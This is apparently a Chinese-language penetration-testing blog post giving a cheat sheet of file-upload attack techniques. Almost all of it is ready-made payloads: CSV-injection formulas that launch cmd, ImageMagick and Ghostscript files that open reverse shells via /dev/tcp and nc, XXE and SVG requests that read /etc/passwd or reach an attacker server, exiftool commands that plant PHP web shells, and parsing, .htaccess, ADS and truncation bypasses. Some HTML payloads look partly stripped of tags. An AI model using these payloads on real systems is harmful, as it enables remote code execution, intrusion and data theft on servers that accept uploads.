渗透测试中文件上传技巧

发布于 2017-05-09 17:26:56

上传文件名fuzz字典

根据语言、解析漏洞、中间件、系统特性以及一些绕过WAF的方法:黑名单、大小写、ADS流、截断、空格、长度、htaccess等生存文件名字典。

Gayhub:https://github.com/c0ny1/upload-fuzz-dic-builder

上传excel文档进行CSV注入

比较老了,学习下也没啥坏处

=cmd|'/c calc'!A0 =MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc.exe'!'' =HYPERLINK("http://vpsip?test="&A2&A3,"Error: Please click me!")

上传excel、word进行xxe

修改word、excel解压之后文件,加入payload

Gayhub: https://github.com/BuffaloWill/o_xxe

在线生成: https://buer.haus/xxegen/

上传mp4/avi利用ffmpeg文件读取/SSRF

#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://xx.oo/header.m3u8|file:///etc/passwd #EXT-X-ENDLIST

上传imagemagic文件进行命令执行

push graphic-context viewbox 0 0 640 480 fill 'url(https://oo.xx/1.jpg"|bash -i >& /dev/tcp/127.0.0.1/2233 0>&1")' pop graphic-context

上传Ghost文件进行命令执行

%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%$(nc -e /bin/sh 127.0.0.1 2333)) currentdevice putdeviceprops

上传svg文件进行ssrf

<?xm l version="1.0" encoding="UTF-8" standalone="no"?><svg xm lns:svg="http://www.w3.org/2000/svg" xm lns="http://www.w3.org/2000/svg" xm lns:x="http://www.w3.org/1999/x" width="200" height="200"><image height="30" width="30" x:href="http://vps_ip.:2333/" /></svg>

上传svg文件进行xss

"><svg ns="http://www.w3.org/2000/svg" ="alert(document.domain)"/>"><svg/=document.write(document.location)>

上传webp后缀进行文件进行xss

容器无法处理原因,其他后缀同理

<html> <body> <>alert('XSS')</> < code="java:alert(1)" invokeurls="false" allownetworking="none" allowaccess="never" loop="false" menu="false" play="false" type="application/x-shockwave-flash"> <img src> </html> </body>

上传shtml进行SSI

<html> <body> < code="java:alert(1)" invokeurls="false" allownetworking="none" allowaccess="never" loop="false" menu="false" play="false" type="application/x-shockwave-flash"> <br /> <br /> <br /> </html> </body>

上传html,phtml等进行XSS

<html> <body> <>alert('XSS')</> < code="java:alert(1)" invokeurls="false" allownetworking="none" allowaccess="never" loop="false" menu="false" play="false" type="application/x-shockwave-flash"> <img src> </html> </body>

对上传文件进行导出excel的地方插入payload进行csv注入

=cmd|' /C id'!A0 @cmd|'/C id'!A0

上传文件时如果转换时比如转成PDF等文件,尝试在上传文件中加入payload进行SSRF

<i src="file:///etc/passwd" width=400height=400/> <i src="file:///c:/windows/win.ini" width=400height=400/> "><svg/=document.write(document.location)>

文件上传时,修改正在上传中的 input type 为URL,尝试SSRF

< input type="file">

改成

< input type="url"> &lt;? version="1.0" encoding="UTF-8" standalone="no"?&gt;&lt;svg ns:svg="http://www.w3.org/2000/svg" ns="http://www.w3.org/2000/svg" ns:x="http://www.w3.org/1999/x" width="200" height="200"&gt;&lt;image height="30" width="30" x:href="http://vpsip:2333/" /&gt;&lt;/svg&gt;

上传文件名XSS

&lt;img src&gt;.png "&gt;&lt;img src&gt;.png "&gt;&lt;svg =alert(1)&gt;.svg

上传图片里面注入Code

exiv2 -c'A "&lt;?php system($_REQUEST['cmd']);?&gt;"!' backdoor.jpeg exiftool "-comment&lt;=back.php" back.png

图片属性XSS

exiftool -Artist='"&gt;&lt;img src=1 onerror=alert(1)&gt;' poc.jpeg

上传文件名SQL注入

move_uploaded_file()上传文件时,把文件名更改为语句,可能会存在xss或者sql注入

IIS 7.0/IIS 7.5/ Nginx &lt;8.03畸形解析漏洞

Nginx在默认Fast-CGI开启状况下,上传一个名字为poc.jpg,内容为:

&lt;?PHP fputs(fopen('shell.php','w'),'&lt;?php eval($_POST[cmd])?&gt;');?&gt;

的文件,然后访问poc.jpg/.php,在这个目录下就会生成一句话木马 shell.php

Apache解析漏洞

上传的文件命名为

test.php.x1.x2.x3 # Apache是从右往左判断后缀

Windows系统特性

在windows环境下,xx.php[空格]xx.php. 这类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,可以通过抓包,在文件名后加一个空格或者点绕过黑名单。

上传.htaccess文件

如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:

&lt;FilesMatch "shell.jpg"&gt; SetHandler application/x-httpd-php &lt;/FilesMatch&gt; 或者 AddType application/x-httpd-php .png

Windows下利用ADS流上传文件

上传文件名为:1.php::$data

IIS6截断

分号截断asp.asp;asp.jpg

双文件上传

filename="a.txt";filename="a.php"

JSON利用

参数中有存在json字符串,可以利用fastjson、jackson等漏洞利用

JSON数据包可以改成格式测试xxe漏洞

application/json改成application/

&lt;? version="1.0" encoding="utf-8"?&gt; &lt;!DOCTYPE root [&lt;!ENTITY file SYSTEM "file:///etc/passwd"&gt;]&gt; &lt;root&gt;&file;&lt;/root&gt;

上传PDF文件进行URL跳转

PDF->页面属性->动作->打开网络链接->添加

上传目录可控,进行文件覆盖

使用../进行目录切换

>如有错误或不足,欢迎大佬不吝指正、补充。

6 条评论